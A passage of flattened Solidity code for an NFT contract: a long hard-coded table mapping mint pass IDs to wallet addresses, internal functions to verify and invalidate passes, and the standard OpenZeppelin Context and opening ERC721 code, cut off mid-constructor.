0x876b32129a32B21d86c82b0630fb3c6DDBB0e7B8; _mintPasses[3696] = 0x995418c315Ff98763dCe8e57695f1C05548b4eF5; _mintPasses[3697] = 0x995418c315Ff98763dCe8e57695f1C05548b4eF5; _mintPasses[3698] = 0x015732d3b7cda5826Ae3177a5A16ca0e271eA13F; _mintPasses[3699] = 0x015732d3b7cda5826Ae3177a5A16ca0e271eA13F; _mintPasses[3700] = 0x75AbF28b9CAe8edb0c1209efF172f9420CC63549; _mintPasses[3701] = 0x75AbF28b9CAe8edb0c1209efF172f9420CC63549; _mintPasses[3702] = 0x75AbF28b9CAe8edb0c1209efF172f9420CC63549; _mintPasses[3703] = 0xF8f18ff9969aB94299e763e038902262002341CD; _mintPasses[3704] = 0x56a68181A1358AF92C680610B5fD7e2d2cF6BF65; _mintPasses[3705] = 0x56a68181A1358AF92C680610B5fD7e2d2cF6BF65; _mintPasses[3706] = 0x56a68181A1358AF92C680610B5fD7e2d2cF6BF65; _mintPasses[3707] = 0x5A6bdC17B9F89Cb52b38dad319dF293b037a43d4; _mintPasses[3708] = 0x5A6bdC17B9F89Cb52b38dad319dF293b037a43d4; _mintPasses[3709] = 0x5A6bdC17B9F89Cb52b38dad319dF293b037a43d4; _mintPasses[3710] = 0x175F02F6473EcD2E87d450Ef33400C4eE673C387; _mintPasses[3711] = 0x175F02F6473EcD2E87d450Ef33400C4eE673C387; _mintPasses[3712] = 0xDF1e3abB229d42A182aD61ce8a63355a8A3EB0F8; _mintPasses[3713] = 0xDF1e3abB229d42A182aD61ce8a63355a8A3EB0F8; _mintPasses[3714] = 0xED721dC63328be92A08b6b7D677e11100C945eA9; _mintPasses[3715] = 0xED721dC63328be92A08b6b7D677e11100C945eA9; _mintPasses[3716] = 0xb6ddE9a985c77d7bC62B171582819D995a51C3bf; _mintPasses[3717] = 0xb6ddE9a985c77d7bC62B171582819D995a51C3bf; _mintPasses[3718] = 0xd469CD19CEFA18e4eb9112e57A47e09398d98766; _mintPasses[3719] = 0xd469CD19CEFA18e4eb9112e57A47e09398d98766; _mintPasses[3720] = 0x682ae71bae517bcc4179a1d66223fcDfFb186581; _mintPasses[3721] = 0x682ae71bae517bcc4179a1d66223fcDfFb186581; _mintPasses[3722] = 0x682ae71bae517bcc4179a1d66223fcDfFb186581; _mintPasses[3723] = 0xE495C36e756Ba677D5Ae8fb868f8c8A41cc51611; _mintPasses[3724] = 0xE495C36e756Ba677D5Ae8fb868f8c8A41cc51611; _mintPasses[3725] = 0xE495C36e756Ba677D5Ae8fb868f8c8A41cc51611; _mintPasses[3726] = 0xE495C36e756Ba677D5Ae8fb868f8c8A41cc51611; _mintPasses[3727] = 0xE495C36e756Ba677D5Ae8fb868f8c8A41cc51611; _mintPasses[3728] = 0x2eea4706F85b9A2D5DD9e9ff007F27C07443EAB1; _mintPasses[3729] = 0x2eea4706F85b9A2D5DD9e9ff007F27C07443EAB1; _mintPasses[3730] = 0xD77D92f3C97B5ce6430560bd1Ab298E82ed4E058; _mintPasses[3731] = 0xD77D92f3C97B5ce6430560bd1Ab298E82ed4E058; _mintPasses[3732] = 0xD77D92f3C97B5ce6430560bd1Ab298E82ed4E058; _mintPasses[3733] = 0x2c1a74debC7f797972EdbdA51554BE887594008F; _mintPasses[3734] = 0x2c1a74debC7f797972EdbdA51554BE887594008F; _mintPasses[3735] = 0x215867219e590352f50f5c3B8cE2587236138494; _mintPasses[3736] = 0x215867219e590352f50f5c3B8cE2587236138494; _mintPasses[3737] = 0xE57b245a1b403A56669f3F30b8db4ea94051E25D; _mintPasses[3738] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[3739] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[3740] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[3741] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[3742] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[3743] = 0x81083379a8c41501B39986D5C74428Dd618EB440; _mintPasses[3744] = 0x81083379a8c41501B39986D5C74428Dd618EB440; _mintPasses[3745] = 0x81083379a8c41501B39986D5C74428Dd618EB440; _mintPasses[3746] = 0x81083379a8c41501B39986D5C74428Dd618EB440; _mintPasses[3747] = 0x81083379a8c41501B39986D5C74428Dd618EB440; _mintPasses[3748] = 0x369DCD945f2ec96EFC489D9541b47cCa9594E9Fc; _mintPasses[3749] = 0x369DCD945f2ec96EFC489D9541b47cCa9594E9Fc; _mintPasses[3750] = 0x3C132E2d16f7452bdfAEFaE6C37b81e0FF83e749; _mintPasses[3751] = 0x3C132E2d16f7452bdfAEFaE6C37b81e0FF83e749; _mintPasses[3752] = 0x3C132E2d16f7452bdfAEFaE6C37b81e0FF83e749; _mintPasses[3753] = 0x5c5D1c68957EF6E9e46303e3CB02a0e3AecE1678; _mintPasses[3754] = 0x97874cf634457f07E7f1888C5C47D70DFAA542cb; _mintPasses[3755] = 0x97874cf634457f07E7f1888C5C47D70DFAA542cb; _mintPasses[3756] = 0xb261F055621fb3D19b86CD87d499b5aD9a561115; _mintPasses[3757] = 0xb261F055621fb3D19b86CD87d499b5aD9a561115; _mintPasses[3758] = 0xEd62B641dB277c9C6A2bA6D7246A1d76E483C11C; _mintPasses[3759] = 0xEd62B641dB277c9C6A2bA6D7246A1d76E483C11C; _mintPasses[3760] = 0x4384293860C81Dc6a8A248a648B6dCa35fF3aA33; _mintPasses[3761] = 0xec7dA9b90713B119969a8309607197e5A8606493; _mintPasses[3762] = 0xec7dA9b90713B119969a8309607197e5A8606493; _mintPasses[3763] = 0x0e0bDf28A0324dD3639520Cd189983F194132825; _mintPasses[3764] = 0x0e0bDf28A0324dD3639520Cd189983F194132825; _mintPasses[3765] = 0x0e0bDf28A0324dD3639520Cd189983F194132825; _mintPasses[3766] = 0x1e27F3175a52877CC8C4e3115B2669037381DeDc; _mintPasses[3767] = 0x1e27F3175a52877CC8C4e3115B2669037381DeDc; _mintPasses[3768] = 0x1e27F3175a52877CC8C4e3115B2669037381DeDc; _mintPasses[3769] = 0x1e27F3175a52877CC8C4e3115B2669037381DeDc; _mintPasses[3770] = 0x1e27F3175a52877CC8C4e3115B2669037381DeDc; _mintPasses[3771] = 0x1FC9aD1d4b2Ec8D78CfDA9FC35Cf729b9B49E7B6; _mintPasses[3772] = 0x1FC9aD1d4b2Ec8D78CfDA9FC35Cf729b9B49E7B6; _mintPasses[3773] = 0x1877e5A2B21dBC2EB73eC1b8838461e080932A9f; _mintPasses[3774] = 0x1877e5A2B21dBC2EB73eC1b8838461e080932A9f; _mintPasses[3775] = 0xA219F044dc6d726f61249c7279EcFa457D6Aaea2; _mintPasses[3776] = 0xA219F044dc6d726f61249c7279EcFa457D6Aaea2; _mintPasses[3777] = 0x0F683E30E71Ba4B5c1f610b675c8A48BB7cB1530; _mintPasses[3778] = 0x0F683E30E71Ba4B5c1f610b675c8A48BB7cB1530; _mintPasses[3779] = 0x2eE88422FBC9Ed5C4689089b05154887d737d76B; _mintPasses[3780] = 0x2eE88422FBC9Ed5C4689089b05154887d737d76B; _mintPasses[3781] = 0x2eE88422FBC9Ed5C4689089b05154887d737d76B; _mintPasses[3782] = 0xC294E0a06076EbB0ee3C4831e4a3C1C31A6A2484; _mintPasses[3783] = 0xC294E0a06076EbB0ee3C4831e4a3C1C31A6A2484; _mintPasses[3784] = 0xC294E0a06076EbB0ee3C4831e4a3C1C31A6A2484; _mintPasses[3785] = 0xC294E0a06076EbB0ee3C4831e4a3C1C31A6A2484; _mintPasses[3786] = 0xC294E0a06076EbB0ee3C4831e4a3C1C31A6A2484; _mintPasses[3787] = 0xb1D610fB451b5cdee4eADcA4538816122ad40E1d; _mintPasses[3788] = 0xb1D610fB451b5cdee4eADcA4538816122ad40E1d; _mintPasses[3791] = 0x4B9fC228C687f8Ae3C7889579c9723b65882Ebd9; _mintPasses[3792] = 0x635123F0a1e192B03F69b3d082e79C969A5eE9b0; _mintPasses[3793] = 0x635123F0a1e192B03F69b3d082e79C969A5eE9b0; _mintPasses[3794] = 0x635123F0a1e192B03F69b3d082e79C969A5eE9b0; _mintPasses[3795] = 0x635123F0a1e192B03F69b3d082e79C969A5eE9b0; _mintPasses[3796] = 0x635123F0a1e192B03F69b3d082e79C969A5eE9b0; _mintPasses[3797] = 0xeFf626B4beBBd3f26cbA77b47e9ae6C9326cfebB; _mintPasses[3798] = 0xeFf626B4beBBd3f26cbA77b47e9ae6C9326cfebB; _mintPasses[3799] = 0xeFf626B4beBBd3f26cbA77b47e9ae6C9326cfebB; _mintPasses[3800] = 0xeFf626B4beBBd3f26cbA77b47e9ae6C9326cfebB; _mintPasses[3801] = 0xeFf626B4beBBd3f26cbA77b47e9ae6C9326cfebB; _mintPasses[3802] = 0xE7bFCE6D3613D20ea879430EA78279Ec3eeCB473; _mintPasses[3804] = 0x6cb603c1967a32bb7b0726EcbCbB8c3A16b1c299; _mintPasses[3805] = 0x6cb603c1967a32bb7b0726EcbCbB8c3A16b1c299; _mintPasses[3806] = 0x6cb603c1967a32bb7b0726EcbCbB8c3A16b1c299; _mintPasses[3807] = 0x6cb603c1967a32bb7b0726EcbCbB8c3A16b1c299; _mintPasses[3808] = 0x6cb603c1967a32bb7b0726EcbCbB8c3A16b1c299; _mintPasses[3809] = 0x2BEa720a5fe5e7738d775e8BfD3a37Fa072Cd46c; _mintPasses[3810] = 0x2BEa720a5fe5e7738d775e8BfD3a37Fa072Cd46c; _mintPasses[3811] = 0x2BEa720a5fe5e7738d775e8BfD3a37Fa072Cd46c; _mintPasses[3812] = 0xe4b52ecE9903d8a1995dd4ebf1d16D1a5D51D58D; _mintPasses[3813] = 0xe4b52ecE9903d8a1995dd4ebf1d16D1a5D51D58D; _mintPasses[3814] = 0xe4b52ecE9903d8a1995dd4ebf1d16D1a5D51D58D; _mintPasses[3815] = 0xe4b52ecE9903d8a1995dd4ebf1d16D1a5D51D58D; _mintPasses[3816] = 0xe4b52ecE9903d8a1995dd4ebf1d16D1a5D51D58D; _mintPasses[3817] = 0xc564D44045a70646BeEf777469E7Aa4E4B6e692A; _mintPasses[3818] = 0xc564D44045a70646BeEf777469E7Aa4E4B6e692A; _mintPasses[3819] = 0x7255FE6f25ecaED72E85338c131D0daA60724Ecc; _mintPasses[3820] = 0x7255FE6f25ecaED72E85338c131D0daA60724Ecc; _mintPasses[3821] = 0x2ee963A7B3d9f14D9F748026055C15528fB87f30; _mintPasses[3822] = 0x2ee963A7B3d9f14D9F748026055C15528fB87f30; _mintPasses[3823] = 0x3908176C1802C43Cf5F481f53243145AcaA76bcc; _mintPasses[3824] = 0x3908176C1802C43Cf5F481f53243145AcaA76bcc; _mintPasses[3825] = 0x3f6a989786FD0FDAE539F356d99944e5aA4fBae1; _mintPasses[3826] = 0x3f6a989786FD0FDAE539F356d99944e5aA4fBae1; _mintPasses[3827] = 0x4d140380DE92396cE3Fa583393257a7024a2b653; _mintPasses[3828] = 0x4d140380DE92396cE3Fa583393257a7024a2b653; _mintPasses[3829] = 0x4d140380DE92396cE3Fa583393257a7024a2b653; _mintPasses[3830] = 0x4d140380DE92396cE3Fa583393257a7024a2b653; _mintPasses[3831] = 0x4d140380DE92396cE3Fa583393257a7024a2b653; _mintPasses[3832] = 0x64C9fb6C978f0f5dd46CB36325b56c04243bAB75; _mintPasses[3833] = 0x64C9fb6C978f0f5dd46CB36325b56c04243bAB75; _mintPasses[3834] = 0x64C9fb6C978f0f5dd46CB36325b56c04243bAB75; _mintPasses[3835] = 0xA01481b6fBE54BE00661290f1cE49e14E3Af82Ef; _mintPasses[3836] = 0xA01481b6fBE54BE00661290f1cE49e14E3Af82Ef; _mintPasses[3837] = 0xA01481b6fBE54BE00661290f1cE49e14E3Af82Ef; _mintPasses[3838] = 0xA01481b6fBE54BE00661290f1cE49e14E3Af82Ef; _mintPasses[3839] = 0xA01481b6fBE54BE00661290f1cE49e14E3Af82Ef; _mintPasses[6010] = 0xFeF49F32fB60ea475b8cf7193AC32C3DA8a05B7E; _mintPasses[6011] = 0xFeF49F32fB60ea475b8cf7193AC32C3DA8a05B7E; _mintPasses[6012] = 0x5c4668d494C6Af375a20782727Ec2084605DDB64; _mintPasses[6013] = 0x5c4668d494C6Af375a20782727Ec2084605DDB64; _mintPasses[6014] = 0xA613e95408dbEfc3aeCB4630BDE04E757Bc46fD8; _mintPasses[6019] = 0x7C8A576941E14934643Bb22f3f5eAD4771f7E3Af; _mintPasses[6020] = 0x7C8A576941E14934643Bb22f3f5eAD4771f7E3Af; _mintPasses[6021] = 0xA7bD22BcFC1eAE5f9944978d81ff71Bd5f5eAF42; _mintPasses[6022] = 0xA7bD22BcFC1eAE5f9944978d81ff71Bd5f5eAF42; _mintPasses[6023] = 0x1105bF50bE63cdaD34Ff7ac9425C1645e6275E1e; _mintPasses[6024] = 0x1105bF50bE63cdaD34Ff7ac9425C1645e6275E1e; _mintPasses[6025] = 0x0E54FD21F4eae61A9594393b237bA6de3eDb93D1; _mintPasses[6026] = 0x0E54FD21F4eae61A9594393b237bA6de3eDb93D1; _mintPasses[6027] = 0x2B7cD3Fec35fb21eFc8913E7383639adb088384B; _mintPasses[6028] = 0x2B7cD3Fec35fb21eFc8913E7383639adb088384B; _mintPasses[6029] = 0xa4D26fC0814a8dacef55A79166291DD0898a8194; _mintPasses[6030] = 0xa4D26fC0814a8dacef55A79166291DD0898a8194; _mintPasses[6031] = 0x79122374eCBaD9cbA0dDF0e0A5F1B676462677B4; _mintPasses[6032] = 0x79122374eCBaD9cbA0dDF0e0A5F1B676462677B4; _mintPasses[6033] = 0x79122374eCBaD9cbA0dDF0e0A5F1B676462677B4; _mintPasses[6034] = 0x79122374eCBaD9cbA0dDF0e0A5F1B676462677B4; _mintPasses[6036] = 0x79122374eCBaD9cbA0dDF0e0A5F1B676462677B4; _mintPasses[6037] = 0xaEabe7513BB61325E22c0D7Fd7B2804b3e2C9C28; _mintPasses[6038] = 0xaEabe7513BB61325E22c0D7Fd7B2804b3e2C9C28; _mintPasses[6039] = 0xaEabe7513BB61325E22c0D7Fd7B2804b3e2C9C28; _mintPasses[6040] = 0xDCC15c04963095154aBa0131462C5F4b5284b7c0; _mintPasses[6041] = 0xDCC15c04963095154aBa0131462C5F4b5284b7c0; _mintPasses[6042] = 0xDCC15c04963095154aBa0131462C5F4b5284b7c0; _mintPasses[6043] = 0x1215731ACF43E83E5dAbE1fe342eD79160e85366; _mintPasses[6044] = 0x1215731ACF43E83E5dAbE1fe342eD79160e85366; _mintPasses[6045] = 0xF2E81438e26FcE88cC8deBf8C178b80A506cE435; _mintPasses[6046] = 0xF2E81438e26FcE88cC8deBf8C178b80A506cE435; _mintPasses[6047] = 0xF2E81438e26FcE88cC8deBf8C178b80A506cE435; _mintPasses[6048] = 0x28e58A14A39c6BD994e4864119A0348f233992c0; _mintPasses[6049] = 0x28e58A14A39c6BD994e4864119A0348f233992c0; _mintPasses[6050] = 0x28e58A14A39c6BD994e4864119A0348f233992c0; _mintPasses[6051] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[6052] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[6053] = 0x826ae03F697BbD3dAD37E9b34e7a8989d9317fc4; _mintPasses[6055] = 0x0eCddcF41754360AB129d7Ca4c8ABf220F9c32BD; _mintPasses[6058] = 0x405EB35A58a0C88d9E193D4cB7e61c4Adf2fbcdF; _mintPasses[6059] = 0x405EB35A58a0C88d9E193D4cB7e61c4Adf2fbcdF; _mintPasses[6060] = 0xD39EbDa59a76EfF9df72C37F8260e53E073bd7BC; _mintPasses[6061] = 0xD39EbDa59a76EfF9df72C37F8260e53E073bd7BC; _mintPasses[6062] = 0xC93e7FEc09E54ECbbAE66754159989E44FB12aD2; _mintPasses[6063] = 0xC93e7FEc09E54ECbbAE66754159989E44FB12aD2; _mintPasses[6064] = 0x53851a72902197865EFA99Edc0f73d89990863A9; _mintPasses[6065] = 0x53851a72902197865EFA99Edc0f73d89990863A9; _mintPasses[6066] = 0x53851a72902197865EFA99Edc0f73d89990863A9; _mintPasses[6067] = 0x53851a72902197865EFA99Edc0f73d89990863A9; _mintPasses[6068] = 0x53851a72902197865EFA99Edc0f73d89990863A9; _mintPasses[6069] = 0xA14B8d5E0687e63F9991E85DC17287f17d858731; _mintPasses[6070] = 0xA14B8d5E0687e63F9991E85DC17287f17d858731; _mintPasses[6071] = 0xF2E81438e26FcE88cC8deBf8C178b80A506cE435; _mintPasses[6072] = 0x828cDcDc2a006E5EBCA06EEd673BFa8DF897852D; _mintPasses[6073] = 0x828cDcDc2a006E5EBCA06EEd673BFa8DF897852D; _mintPasses[6074] = 0x828cDcDc2a006E5EBCA06EEd673BFa8DF897852D; _mintPasses[6075] = 0x828cDcDc2a006E5EBCA06EEd673BFa8DF897852D; _mintPasses[6076] = 0x828cDcDc2a006E5EBCA06EEd673BFa8DF897852D; _mintPasses[6077] = 0x3723DDeC18A8F59CFC2bED4AEDe5e5Bebdf21712; _mintPasses[6078] = 0x3723DDeC18A8F59CFC2bED4AEDe5e5Bebdf21712; _mintPasses[6079] = 0x4A90601B49605B3998A5339833763931D9BD4918; _mintPasses[6080] = 0x4A90601B49605B3998A5339833763931D9BD4918; _mintPasses[6081] = 0x7358B3dD144332377c14D8A47844E05A1b6f50aC; _mintPasses[6082] = 0x7358B3dD144332377c14D8A47844E05A1b6f50aC; _mintPasses[6084] = 0x7358B3dD144332377c14D8A47844E05A1b6f50aC; _mintPasses[6085] = 0x7358B3dD144332377c14D8A47844E05A1b6f50aC; _mintPasses[6086] = 0x7358B3dD144332377c14D8A47844E05A1b6f50aC; _mintPasses[6087] = 0xDf3759cc2277aDcDB0a97b8AC1469a6EddBC6A8d; _mintPasses[6088] = 0xDf3759cc2277aDcDB0a97b8AC1469a6EddBC6A8d; _mintPasses[6089] = 0xDf3759cc2277aDcDB0a97b8AC1469a6EddBC6A8d; _mintPasses[6090] = 0xe29fb0952a8FA002B353e255dD7EE45527084240; _mintPasses[6091] = 0xe29fb0952a8FA002B353e255dD7EE45527084240; _mintPasses[6092] = 0x087e269f123F479aE3Cf441657A8739236d36aEe; _mintPasses[6093] = 0x087e269f123F479aE3Cf441657A8739236d36aEe; _mintPasses[6094] = 0x60F444A38d8792EeD42E6E091E64216F93ceEeb8; _mintPasses[6095] = 0x60F444A38d8792EeD42E6E091E64216F93ceEeb8; _mintPasses[6096] = 0x386c2f5aAB7392F86e5aF3de097673b7BFc4aE64; _mintPasses[6097] = 0x386c2f5aAB7392F86e5aF3de097673b7BFc4aE64; _mintPasses[6098] = 0x386c2f5aAB7392F86e5aF3de097673b7BFc4aE64; _mintPasses[6099] = 0x386c2f5aAB7392F86e5aF3de097673b7BFc4aE64; _mintPasses[6100] = 0x386c2f5aAB7392F86e5aF3de097673b7BFc4aE64; _mintPasses[6101] = 0x62182A2Ca7879E2440ca3f5c5c5E1EbdC4fC7c17; _mintPasses[6102] = 0x62182A2Ca7879E2440ca3f5c5c5E1EbdC4fC7c17; _mintPasses[6103] = 0x8Bf52d54578d06724A989906D47c7B021612E502; _mintPasses[6104] = 0x8Bf52d54578d06724A989906D47c7B021612E502; _mintPasses[6105] = 0x8EaC156f7df9245F360AE39c47879c2919317402; _mintPasses[6106] = 0x8EaC156f7df9245F360AE39c47879c2919317402; _mintPasses[6107] = 0x38c05b9B18f8B512CFDCE9bCFD0e57030344f602; _mintPasses[6108] = 0x38c05b9B18f8B512CFDCE9bCFD0e57030344f602; _mintPasses[6109] = 0xC15f55d4381473A51830196d0307c2987e9A39d9; _mintPasses[6110] = 0xC15f55d4381473A51830196d0307c2987e9A39d9; _mintPasses[6111] = 0xC15f55d4381473A51830196d0307c2987e9A39d9; _mintPasses[6112] = 0x8951A87Adf50b555034B47D103875A1613B003B6; _mintPasses[6113] = 0x8951A87Adf50b555034B47D103875A1613B003B6; _mintPasses[6114] = 0x4Cb18005A1586F3A743B59bcAc574A01B73B0a18; _mintPasses[6115] = 0x4Cb18005A1586F3A743B59bcAc574A01B73B0a18; _mintPasses[6116] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6117] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6118] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6119] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6120] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6121] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6122] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6123] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6124] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6125] = 0x8aF0B9A9B751E086122bC340188Bd9d99b8C7ec1; _mintPasses[6126] = 0xeb77045939E3FaFB19eCa0389f343fB19a052DFe; _mintPasses[6127] = 0xeb77045939E3FaFB19eCa0389f343fB19a052DFe; _mintPasses[6128] = 0x2A17068BC37705fA1710dC8bFd1EE49Bc0b432b0; _mintPasses[6129] = 0x2A17068BC37705fA1710dC8bFd1EE49Bc0b432b0; _mintPasses[6130] = 0x2A17068BC37705fA1710dC8bFd1EE49Bc0b432b0; _mintPasses[6131] = 0x2A17068BC37705fA1710dC8bFd1EE49Bc0b432b0; _mintPasses[6132] = 0x2A17068BC37705fA1710dC8bFd1EE49Bc0b432b0; _mintPasses[6133] = 0x554DDFABaB2524A229070E01e9FaaD627e4Ac513; _mintPasses[6134] = 0x554DDFABaB2524A229070E01e9FaaD627e4Ac513; _mintPasses[6135] = 0x554DDFABaB2524A229070E01e9FaaD627e4Ac513; _mintPasses[6136] = 0x554DDFABaB2524A229070E01e9FaaD627e4Ac513; _mintPasses[6137] = 0x554DDFABaB2524A229070E01e9FaaD627e4Ac513; _mintPasses[6138] = 0xbdF53Fe485928d2F269cb344864d539C5862AeAb; _mintPasses[6139] = 0xbdF53Fe485928d2F269cb344864d539C5862AeAb; _mintPasses[6140] = 0x03CCeA443bF78E52bB01c737A00A793CdB7e53d8; _mintPasses[6141] = 0x03CCeA443bF78E52bB01c737A00A793CdB7e53d8; _mintPasses[6142] = 0xF6d4A41579BF6069A369eA56a72C29fB7D710664; _mintPasses[6143] = 0xF6d4A41579BF6069A369eA56a72C29fB7D710664; _mintPasses[6144] = 0x9309F2Ed55De312FDf51368593db75dE39369173; _mintPasses[6145] = 0x9309F2Ed55De312FDf51368593db75dE39369173; _mintPasses[6148] = 0xE4324E43Ae3e8a611E927dF10795D3A20152aE4a; _mintPasses[6149] = 0xE4324E43Ae3e8a611E927dF10795D3A20152aE4a; _mintPasses[6150] = 0xC992c764a5dD14dd5Bd6F662a14377E1Cf7e31df; _mintPasses[6151] = 0xC992c764a5dD14dd5Bd6F662a14377E1Cf7e31df; _mintPasses[6152] = 0xC992c764a5dD14dd5Bd6F662a14377E1Cf7e31df; _mintPasses[6153] = 0xC992c764a5dD14dd5Bd6F662a14377E1Cf7e31df; _mintPasses[6154] = 0xC992c764a5dD14dd5Bd6F662a14377E1Cf7e31df; _mintPasses[6155] = 0x01C9a2bbb109a24E86535bB41007cd15a0177C11; _mintPasses[6156] = 0x01C9a2bbb109a24E86535bB41007cd15a0177C11; _mintPasses[6157] = 0x01C9a2bbb109a24E86535bB41007cd15a0177C11; _mintPasses[6158] = 0xbcD8F6a884efde5Da425A3DD5032b3681e3ec0D8; _mintPasses[6159] = 0xbcD8F6a884efde5Da425A3DD5032b3681e3ec0D8; _mintPasses[6160] = 0x208Eff61de4d585bf1983fdaA5eE9E6c0A92D938; _mintPasses[6161] = 0x208Eff61de4d585bf1983fdaA5eE9E6c0A92D938; _mintPasses[6162] = 0xdD4127C80F8E59b2a8a9A64dC9d62dd7caa5C339; _mintPasses[6163] = 0xdD4127C80F8E59b2a8a9A64dC9d62dd7caa5C339; _mintPasses[6164] = 0xdD4127C80F8E59b2a8a9A64dC9d62dd7caa5C339; _mintPasses[6165] = 0x8869583E848b60F934C84AB6BC157f9e02A65C4a; _mintPasses[6166] = 0x8869583E848b60F934C84AB6BC157f9e02A65C4a; _mintPasses[6167] = 0x004196E84C7320EbB2e90e8dC4e0a766d3aaC8Db; _mintPasses[6168] = 0x004196E84C7320EbB2e90e8dC4e0a766d3aaC8Db; _mintPasses[6169] = 0xA27E6a2e557587e9ca321351ac6Fa09892ec971E; _mintPasses[6170] = 0xA27E6a2e557587e9ca321351ac6Fa09892ec971E; _mintPasses[6171] = 0xA27E6a2e557587e9ca321351ac6Fa09892ec971E; _mintPasses[6226] = 0x01C9a2bbb109a24E86535bB41007cd15a0177C11; _mintPasses[6227] = 0x01C9a2bbb109a24E86535bB41007cd15a0177C11; _mintPasses[6228] = 0x87689C4e28200de1f0313A98080B4428490F7285; _mintPasses[6229] = 0xedE6D8113CF88bbA583a905241abdf23089b312D; _mintPasses[6230] = 0xedE6D8113CF88bbA583a905241abdf23089b312D; _mintPasses[6231] = 0xd9FCBf56aD6793E10181c28B6E418208656f21C2; _mintPasses[6232] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6233] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6234] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6235] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6236] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6237] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6238] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6239] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6240] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6241] = 0x59DC8eE69a7e57b42D25cd13C0Cd8d6665Aa70B2; _mintPasses[6242] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[6243] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[6244] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[6245] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[6246] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[6247] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[6248] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[6249] = 0x667B2a94Dd4053508C7440EA1F902694336B9814; _mintPasses[6250] = 0x298A8fF8128D8427781B44F7e64657548768E3D4; _mintPasses[6251] = 0x298A8fF8128D8427781B44F7e64657548768E3D4; _mintPasses[6252] = 0x298A8fF8128D8427781B44F7e64657548768E3D4; _mintPasses[6253] = 0x298A8fF8128D8427781B44F7e64657548768E3D4; _mintPasses[6254] = 0x298A8fF8128D8427781B44F7e64657548768E3D4; _mintPasses[6255] = 0x944266ac7c1BcE8b0bF307a060D42A1B9Baa6Ca9; _mintPasses[6256] = 0x944266ac7c1BcE8b0bF307a060D42A1B9Baa6Ca9; _mintPasses[6257] = 0x944266ac7c1BcE8b0bF307a060D42A1B9Baa6Ca9; _mintPasses[6258] = 0x944266ac7c1BcE8b0bF307a060D42A1B9Baa6Ca9; _mintPasses[6259] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; _mintPasses[6260] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; _mintPasses[6261] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; _mintPasses[6262] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; _mintPasses[6263] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; _mintPasses[6264] = 0x6DFaEA023567DF25E4b1f0E05EF5443aC5C26Ed9; } function verifyMintPass(uint mintPass, address to) internal view returns (bool) { if (_mintPasses[mintPass] == to) { return true; } else { return false; } } function invalidateMintPass(uint mintPass) internal { delete _mintPasses[mintPass]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory 